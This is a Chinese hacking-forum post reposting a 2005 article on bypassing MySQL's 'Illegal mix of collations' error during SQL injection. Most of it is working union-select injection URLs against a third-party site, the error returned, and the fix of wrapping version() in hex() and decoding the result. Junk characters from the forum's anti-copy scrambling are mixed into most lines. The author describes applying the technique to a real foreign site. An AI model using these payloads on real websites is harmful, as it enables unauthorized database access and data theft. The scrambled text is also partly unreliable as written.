找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1916|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei; L2 x/ ^* b, V- Q
文章性质:原创
+ c% ]2 P4 v7 [! U& [4 V" X发布日期:2005-10-18- ^  A) l! r  I: ]
测试个国外的站时:5 i; B  E2 p9 C  V3 [9 N6 _6 B
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
. X$ f: A# p* o1 n返回错误:
! [  l( U6 }3 y& J7 {4 |; S+ R9 X9 DIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
3 i/ @) m: E) e+ ~1 g: wMySQL Error No. 126/ d9 r! V# ~0 E! {9 A: Q
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。$ g  ~2 K# i1 [5 l
解决办法:转为其他编码如hex。1 P- ?% P. ~) ]( \
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
) h" u, u7 @4 B成功得到hex(version())的值为:! A9 b/ h9 [3 c7 f+ ]$ N- q# W
342E312E332D62657461
) ?7 D( F# H5 l" `回Mysql查询下得到:
4 j7 R0 ~* ~  o+ h2 p" omysql> select 0x342E312E332D62657461;
. R' M% a% e1 m+------------------------+
2 I3 b+ o& I' |1 ?7 X, l| 0x342E312E332D62657461 |
; @: R) s0 `* s5 n- k+------------------------+% C4 N' ?1 y8 k2 Q6 [. l; T, e  X( I5 L
| 4.1.3-beta |0 o$ Z! s- r* O9 K1 f4 i
+------------------------+
3 S% l2 n! \2 H1 row in set (0.00 sec)7 }* T8 V( `7 B) D$ |7 E
6 ]2 Y: K" p" x; d6 C5 _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表